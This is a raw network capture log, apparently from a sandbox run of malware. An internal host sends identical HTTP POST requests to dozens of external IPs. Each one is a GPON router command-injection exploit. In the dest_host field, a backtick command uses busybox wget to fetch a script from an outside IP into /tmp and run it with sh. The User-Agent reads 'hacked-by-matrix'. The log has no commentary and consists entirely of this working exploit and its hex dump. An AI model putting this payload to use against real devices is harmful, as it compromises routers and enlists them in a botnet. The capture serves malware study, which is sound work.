Mar 21, 2024 05:26:56.395977020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.23	55508	109.151.83.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395982027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.23	59366	210.149.22.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396014929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.23	46568	79.152.224.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396035910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.23	51546	109.196.203.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396075964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.23	47154	118.171.42.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396178961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.23	54384	42.197.214.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396193981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1435	192.168.2.23	42192	79.244.88.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396200895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.23	53276	5.166.3.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396210909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.23	37614	178.162.185.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396235943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.23	57104	94.211.91.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396303892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.23	45640	212.51.120.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396317005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.23	59566	178.60.96.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396338940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.23	57488	79.168.109.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396358013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.23	40112	42.157.109.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396358013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.23	56222	109.42.226.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396395922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.23	40058	118.97.13.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396426916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.23	45042	210.151.81.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396450996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.23	57866	118.109.72.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396452904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.23	54078	42.238.191.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396452904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.23	37986	210.254.234.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396495104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.23	60888	5.250.235.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396514893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.23	46190	2.165.72.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396517992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.23	60660	37.129.227.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396534920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.23	33870	178.111.168.109	443

Timestamp	Bytes transferred	Direction	Data
